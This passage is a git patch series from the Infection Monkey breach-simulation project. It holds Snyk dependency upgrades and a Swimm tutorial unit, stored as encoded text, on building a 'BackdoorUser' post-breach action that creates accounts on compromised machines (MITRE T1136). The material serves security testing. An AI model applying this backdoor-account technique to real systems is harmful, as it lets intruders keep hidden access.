From d0113285a7e5886c5b6bcc878c413d3a6c4a8ea3 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Tue, 1 Sep 2020 07:03:41 +0000
Subject: [PATCH 01/30] fix: upgrade bootstrap from 4.5.1 to 4.5.2

Snyk has created this PR to upgrade bootstrap from 4.5.1 to 4.5.2.

See this package in npm:
https://www.npmjs.com/package/bootstrap

See this project in Snyk:
https://app.snyk.io/org/guardicore/project/b4a24b2f-c0d4-474c-9f18-da5a77c685fe?utm_source=github&utm_medium=upgrade-pr
---
 monkey/monkey_island/cc/ui/package-lock.json | 6 +++---
 monkey/monkey_island/cc/ui/package.json      | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index e70ed4dae..427eaca7f 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -3129,9 +3129,9 @@
       "dev": true
     },
     "bootstrap": {
-      "version": "4.5.1",
-      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.1.tgz",
-      "integrity": "sha512-bxUooHBSbvefnIZfjD0LE8nfdPKrtiFy2sgrxQwUZ0UpFzpjVbVMUxaGIoo9XWT4B2LG1HX6UQg0UMOakT0prQ=="
+      "version": "4.5.2",
+      "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.2.tgz",
+      "integrity": "sha512-vlGn0bcySYl/iV+BGA544JkkZP5LB3jsmkeKLFQakCOwCM3AOk7VkldBz4jrzSe+Z0Ezn99NVXa1o45cQY4R6A=="
     },
     "boxen": {
       "version": "4.2.0",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 6ff6068c8..75479ac58 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -65,7 +65,7 @@
     "@fortawesome/free-solid-svg-icons": "^5.13.1",
     "@fortawesome/react-fontawesome": "^0.1.11",
     "@kunukn/react-collapse": "^1.2.7",
-    "bootstrap": "^4.5.1",
+    "bootstrap": "^4.5.2",
     "classnames": "^2.2.6",
     "core-js": "^3.6.5",
     "d3": "^5.14.1",

From ef64f4f122e2985e9b8de4046c03a2addcf435e2 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Tue, 1 Sep 2020 07:03:46 +0000
Subject: [PATCH 02/30] fix: upgrade @emotion/core from 10.0.28 to 10.0.34

Snyk has created this PR to upgrade @emotion/core from 10.0.28 to 10.0.34.

See this package in npm:
https://www.npmjs.com/package/@emotion/core

See this project in Snyk:
https://app.snyk.io/org/guardicore/project/b4a24b2f-c0d4-474c-9f18-da5a77c685fe?utm_source=github&utm_medium=upgrade-pr
---
 monkey/monkey_island/cc/ui/package-lock.json | 6 +++---
 monkey/monkey_island/cc/ui/package.json      | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index e70ed4dae..74c1740d9 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -1156,9 +1156,9 @@
       }
     },
     "@emotion/core": {
-      "version": "10.0.28",
-      "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.28.tgz",
-      "integrity": "sha512-pH8UueKYO5jgg0Iq+AmCLxBsvuGtvlmiDCOuv8fGNYn3cowFpLN98L8zO56U0H1PjDIyAlXymgL3Wu7u7v6hbA==",
+      "version": "10.0.34",
+      "resolved": "https://registry.npmjs.org/@emotion/core/-/core-10.0.34.tgz",
+      "integrity": "sha512-Kcs8WHZG1NgaVFQsSpgN07G0xpfPAKUclwKvUqKrYrJovezl9uTz++1M4JfXHrgFVEiJ5QO46hMo1ZDDfvY/tw==",
       "requires": {
         "@babel/runtime": "^7.5.5",
         "@emotion/cache": "^10.0.27",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 6ff6068c8..17cf652f4 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -59,7 +59,7 @@
     "webpack-dev-server": "^3.11.0"
   },
   "dependencies": {
-    "@emotion/core": "^10.0.22",
+    "@emotion/core": "^10.0.34",
     "@fortawesome/fontawesome-svg-core": "^1.2.29",
     "@fortawesome/free-regular-svg-icons": "^5.13.1",
     "@fortawesome/free-solid-svg-icons": "^5.13.1",

From 77a2953de3d43fabe6a428a3c9834d2025147aa1 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Thu, 3 Sep 2020 07:02:18 +0000
Subject: [PATCH 03/30] fix: upgrade snyk from 1.373.0 to 1.373.1

Snyk has created this PR to upgrade snyk from 1.373.0 to 1.373.1.

See this package in npm:
https://www.npmjs.com/package/snyk

See this project in Snyk:
https://app.snyk.io/org/guardicore/project/b4a24b2f-c0d4-474c-9f18-da5a77c685fe?utm_source=github&utm_medium=upgrade-pr
---
 monkey/monkey_island/cc/ui/package-lock.json | 28 ++++++++++----------
 monkey/monkey_island/cc/ui/package.json      |  2 +-
 2 files changed, 15 insertions(+), 15 deletions(-)

diff --git a/monkey/monkey_island/cc/ui/package-lock.json b/monkey/monkey_island/cc/ui/package-lock.json
index 7edb9342a..996cb7808 100644
--- a/monkey/monkey_island/cc/ui/package-lock.json
+++ b/monkey/monkey_island/cc/ui/package-lock.json
@@ -6516,18 +6516,18 @@
       }
     },
     "got": {
-      "version": "11.5.2",
-      "resolved": "https://registry.npmjs.org/got/-/got-11.5.2.tgz",
-      "integrity": "sha512-yUhpEDLeuGiGJjRSzEq3kvt4zJtAcjKmhIiwNp/eUs75tRlXfWcHo5tcBaMQtnjHWC7nQYT5HkY/l0QOQTkVww==",
+      "version": "11.6.0",
+      "resolved": "https://registry.npmjs.org/got/-/got-11.6.0.tgz",
+      "integrity": "sha512-ErhWb4IUjQzJ3vGs3+RR12NWlBDDkRciFpAkQ1LPUxi6OnwhGj07gQxjPsyIk69s7qMihwKrKquV6VQq7JNYLA==",
       "requires": {
-        "@sindresorhus/is": "^3.0.0",
+        "@sindresorhus/is": "^3.1.1",
         "@szmarczak/http-timer": "^4.0.5",
         "@types/cacheable-request": "^6.0.1",
         "@types/responselike": "^1.0.0",
         "cacheable-lookup": "^5.0.3",
         "cacheable-request": "^7.0.1",
         "decompress-response": "^6.0.0",
-        "http2-wrapper": "^1.0.0-beta.5.0",
+        "http2-wrapper": "^1.0.0-beta.5.2",
         "lowercase-keys": "^2.0.0",
         "p-cancelable": "^2.0.0",
         "responselike": "^2.0.0"
@@ -14858,9 +14858,9 @@
       }
     },
     "snyk": {
-      "version": "1.373.0",
-      "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.0.tgz",
-      "integrity": "sha512-P/BF3DnMbP2NFHw4RcQ2w4MwashUH2/lkezNq0bn51OJqktfrn/aebcJxe6RtSKemww5z8DSen8D2REz1Vzc6Q==",
+      "version": "1.373.1",
+      "resolved": "https://registry.npmjs.org/snyk/-/snyk-1.373.1.tgz",
+      "integrity": "sha512-R8f0IpBPlK5fMytP9X1Nrk//u2NKHQ+kv/PFi0SaCW80ksFP3zrC8oKXYBkvfYTm+56TVw8cZm888DwvEOL5zg==",
       "requires": {
         "@snyk/cli-interface": "2.8.1",
         "@snyk/dep-graph": "1.18.3",
@@ -15504,9 +15504,9 @@
       },
       "dependencies": {
         "@types/node": {
-          "version": "6.14.10",
-          "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.10.tgz",
-          "integrity": "sha512-pF4HjZGSog75kGq7B1InK/wt/N08BuPATo+7HRfv7gZUzccebwv/fmWVGs/j6LvSiLWpCuGGhql51M/wcQsNzA=="
+          "version": "6.14.11",
+          "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz",
+          "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA=="
         },
         "debug": {
           "version": "4.1.1",
@@ -15607,9 +15607,9 @@
       },
       "dependencies": {
         "@types/node": {
-          "version": "6.14.10",
-          "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.10.tgz",
-          "integrity": "sha512-pF4HjZGSog75kGq7B1InK/wt/N08BuPATo+7HRfv7gZUzccebwv/fmWVGs/j6LvSiLWpCuGGhql51M/wcQsNzA=="
+          "version": "6.14.11",
+          "resolved": "https://registry.npmjs.org/@types/node/-/node-6.14.11.tgz",
+          "integrity": "sha512-htzPk08CmbGFjgIWaJut1oW2roZAAQxxOhkhsehCVLE7Uocx9wkcHfIQYdBWO7KqbuRvYrdBQtl5h5Mz/GxehA=="
         },
         "debug": {
           "version": "3.2.6",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index abc82758d..840ee8935 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -105,7 +105,7 @@
     "react-tooltip-lite": "^1.12.0",
     "redux": "^4.0.4",
     "sha3": "^2.1.3",
-    "snyk": "^1.373.0"
+    "snyk": "^1.373.1"
   },
   "snyk": true
 }

From 19b42f7fa907c682f16d3316371fd2f58764b5b9 Mon Sep 17 00:00:00 2001
From: Swimm <swimm@swimm.io>
Date: Fri, 11 Sep 2020 17:54:38 +0530
Subject: [PATCH 04/30] Swimm: updated unit (tbxb2cGgUiJQ8Btma0fp)

---
 .swm/tbxb2cGgUiJQ8Btma0fp.swm | 15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

diff --git a/.swm/tbxb2cGgUiJQ8Btma0fp.swm b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
index 2a2c57cd4..0f2209f27 100644
--- a/.swm/tbxb2cGgUiJQ8Btma0fp.swm
+++ b/.swm/tbxb2cGgUiJQ8Btma0fp.swm
@@ -1,10 +1,15 @@
 {
     "id": "tbxb2cGgUiJQ8Btma0fp",
     "name": "Add a simple Post Breach action",
+    "dod": "WW91JTIwc2hvdWxkJTIwYWRkJTIwYSUyMG5ldyUyMFBCQSUyMHRvJTIwdGhlJTIwTW9ua2V5JTIwd2hpY2glMjBjcmVhdGVzJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG1hY2hpbmUu",
+    "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MCUyMC0lMjBtYWtlJTIwc3VyZSUyMHlvdSUyMHNlZSUyMGhvdyUyMHRvJTIwdXNlJTIwdGhpcyUyMGZ1bmN0aW9uJTIwY29ycmVjdGx5LiUyMCUwQSUwQU5vdGUlMjB0aGF0JTIwdGhlJTIwUEJBJTIwc2hvdWxkJTIwaW1wYWN0JTIwdGhlJTIwVDExMzYlMjBNSVRSRSUyMHRlY2huaXF1ZSUyMGFzJTIwd2VsbCElMjAlMEElMEElMjMlMjBNYW51YWwlMjB0ZXN0JTIwdG8lMjBjb25maXJtJTBBJTBBMS4lMjBSdW4lMjB0aGUlMjBNb25rZXklMjBJc2xhbmQlMEEyLiUyME1ha2UlMjBzdXJlJTIweW91ciUyMG5ldyUyMFBCQSUyMGlzJTIwZW5hYmxlZCUyMGJ5JTIwZGVmYXVsdCUyMGluJTIwdGhlJTIwY29uZmlnJTIwLSUyMGZvciUyMHRoaXMlMjB0ZXN0JTJDJTIwZGlzYWJsZSUyMG5ldHdvcmslMjBzY2FubmluZyUyQyUyMGV4cGxvaXRpbmclMkMlMjBhbmQlMjBhbGwlMjBvdGhlciUyMFBCQXMlMEEzLiUyMFJ1biUyME1vbmtleSUwQTQuJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBzZWN1cml0eSUyMHJlcG9ydCUwQTUlMkMlMjBTZWUlMjB0aGUlMjBQQkElMjBpbiUyMHRoZSUyME1JVFJFJTIwcmVwb3J0JTIwaW4lMjB0aGUlMjByZWxldmFudCUyMHRlY2huaXF1ZSUwQQ==",
+    "summary": "VGFrZSUyMGElMjBsb29rJTIwYXQlMjB0aGUlMjBjb25maWd1cmF0aW9uJTIwb2YlMjB0aGUlMjBpc2xhbmQlMjBhZ2FpbiUyMC0lMjBzZWUlMjB0aGUlMjAlMjJjb21tYW5kJTIwdG8lMjBydW4lMjBhZnRlciUyMGJyZWFjaCUyMiUyMG9wdGlvbiUyMHdlJTIwb2ZmZXIlMjB0aGUlMjB1c2VyJTNGJTIwSXQncyUyMGltcGxlbWVudGVkJTIwZXhhY3RseSUyMGxpa2UlMjB5b3UlMjBkaWQlMjByaWdodCUyMG5vdyUyMGJ1dCUyMGVhY2glMjB1c2VyJTIwY2FuJTIwZG8lMjBpdCUyMGZvciUyMHRoZW1zZWx2ZXMuJTIwJTBBJTBBSG93ZXZlciUyQyUyMHdoYXQlMjBpZiUyMHRoZSUyMFBCQSUyMG5lZWRzJTIwdG8lMjBkbyUyMHN0dWZmJTIwd2hpY2glMjBpcyUyMG1vcmUlMjBjb21wbGV4JTIwdGhhbiUyMGp1c3QlMjBydW5uaW5nJTIwYSUyMGZldyUyMGNvbW1hbmRzJTNGJTIwSW4lMjB0aGF0JTIwY2FzZS4uLiUyMA==",
+    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMTF9TVEFSVFVQX0ZJTEVfTU9ESUZJQ0FUSU9OJTIwJTNEJTIwJTIyTW9kaWZ5JTIwc2hlbGwlMjBzdGFydHVwJTIwZmlsZSUyMiUwQSUyMFBPU1RfQlJFQUNIX0hJRERFTl9GSUxFUyUyMCUzRCUyMCUyMkhpZGUlMjBmaWxlcyUyMGFuZCUyMGRpcmVjdG9yaWVzJTIyJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEFpbmRleCUyMDU4YmU4OWExLi5kODQ3NmE5NyUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTQwJTQwJTIwLTElMkMxNSUyMCUyQjElMkM3JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkucG9zdF9icmVhY2gucGJhJTIwaW1wb3J0JTIwUEJBJTBBJTIwZnJvbSUyMGluZmVjdGlvbl9tb25rZXkudXRpbHMudXNlcnMlMjBpbXBvcnQlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIlMEElMjAlMEElMjAlMEElMjBjbGFzcyUyMEJhY2tkb29yVXNlcihQQkEpJTNBJTBBJTIwJTIwJTIwJTIwJTIwZGVmJTIwX19pbml0X18oc2VsZiklM0ElMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kcyUyQyUyMHdpbmRvd3NfY21kcyUyMCUzRCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24udXNlcl90b19hZGQlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwV29ybUNvbmZpZ3VyYXRpb24ucmVtb3RlX3VzZXJfcGFzcyklMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwc3VwZXIoQmFja2Rvb3JVc2VyJTJDJTIwc2VsZikuX19pbml0X18oJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjB3aW5kb3dzX2NtZCUzRHdpbmRvd3NfY21kcyklMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBwYXNzJTIwJTIwJTIzJTIwU3dpbW1lciUzQSUyMEltcGwlMjBoZXJlISUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uZGE5OWU4NmMlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMCglMEEtJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyQiUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMSUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi4yYzRhYTY2NCUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM3JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjMlMjBTd2ltbWVyJTNBJTIwQWRkJTIwbmV3JTIwUEJBJTIwaGVyZSUyMHRvJTIwY29uZmlnISUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBB",
     "tests": [],
     "hints": [
         "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands",
-        "Make sure to add the PBA to the configuration as well."
+        "Make sure to add the PBA to the configuration as well.",
+        "MITRE ATT&CK technique T1136 articulates that adversaries may create an account to maintain access to victim systems, therefore, the BackdoorUser PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report."
     ],
     "files": {
         "monkey/common/data/post_breach_consts.py": {
@@ -65,10 +70,6 @@
             ]
         }
     },
-    "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLjAzMWY5YWQwJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCJTIzJTIwU3dpbW1lciUzQSUyMFBVVCUyMFRIRSUyME5FVyUyMENPTlNUJTIwSEVSRSElMEElMjBQT1NUX0JSRUFDSF9GSUxFX0VYRUNVVElPTiUyMCUzRCUyMCUyMkZpbGUlMjBleGVjdXRpb24lMjIlMEElMjBQT1NUX0JSRUFDSF9TSEVMT